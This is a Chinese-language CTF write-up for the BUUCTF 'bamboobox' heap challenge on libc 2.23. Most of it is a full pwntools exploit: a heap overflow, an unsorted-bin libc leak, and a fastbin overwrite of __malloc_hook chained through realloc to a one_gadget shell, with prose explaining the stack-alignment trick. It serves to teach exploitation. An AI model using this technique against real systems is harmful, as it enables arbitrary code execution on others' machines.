这题漏洞就一个堆溢出,libc是buu常用的那个2.23,所以打法很多。
以上是漏洞出现的函数,同时它还有show功能
from LibcSearcher import *
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
elf=ELF('/home/hacker/Desktop/bamboobox' )
#p=remote("node4.buuoj.cn",27153)
p=process('/home/hacker/Desktop/bamboobox' )
def show():
p.sendlineafter("Your choice:",str(1))
def add(number,content):
p.sendlineafter("Your choice:",str(2))
p.sendlineafter("Please enter the length of item name:",str(number))
p.sendlineafter("Please enter the name of item:",content)
def write(index,number,content):
p.sendlineafter('Your choice:',str(3))
p.sendlineafter("Please enter the index of item:",str(index))
p.sendlineafter("Please enter the length of item name:",str(number))
p.sendlineafter("Please enter the new name of the item:",content)
def delete(index):
p.sendlineafter("Your choice:",str(4))
p.sendlineafter('Please enter the index of item:',str(index))
add(0x10,'a')#0
add(0x10,'a')#1
add(0x70,'a')#2
add(0x10,'b')#3
add(0x60,'c')#4
write(0,100,'\x00'*(0x10+8)+p64(0xa1))
delete(1)
add(0x10,'a')#4
show()
p.recvuntil('2 : ')
main_arena = u64(p.recv(6).ljust(8,'\x00')) - 88
print("main_arena=",hex(main_arena))
malloc_hook_offset = 0x3c4b10
main_arena_offset = 0x3c4b20
libc = main_arena-main_arena_offset
malloc_hook = libc + malloc_hook_offset
build = malloc_hook-0x23
realloc = 0x84710 + libc
realloc_hook = libc + 0x1f7f0
print("realloc_hook:",hex(realloc))
print("build_addr:",hex(build))
delete(4)
write(3,100,'a'*0x10+p64(0)+p64(0x71)+p64(build))
add(0x60,'a')
add(0x60,'a')#5
gadget = libc + 0x4527a
print("gadget_addr:",hex(gadget))
write(5,100,'a'*11 + p64(gadget) + p64(realloc+6))
p.sendlineafter("Your choice:",str(2))
p.sendlineafter("Please enter the length of item name:",str(0x10))
p.interactive()
我的leak方法是先用两个堆块伪造一个大堆块将其free掉放入unsortedbin中,然后将两个中的第一个堆块add回来,这个时候就可以发现另一个堆块同时在allocated和unsortedbins中,直接show,就可以导出main_arena的地址。
然后就是malloc_hook攻击,构造好之后,会发现一个问题,执行不了所有的gadget,因为栈没有对齐,这个时候,我们就需要思考realloc_hook和malloc_hook的联用。
执行手法是是在malloc_hook中放入realloc+?的地址,再在realloc_hook中放入gadget,这样就能形成malloc->malloc_hook->realloc->realloc_hook->gadget,至于为什么要这样,是因为realloc的地方有很多push操作可以帮助栈对齐,?地址怎么出来,最好的方法就是一个一个试,如果手动调试,压栈的时候会出现变化,但是一个一个试之前,需要保证调试能进入gadget。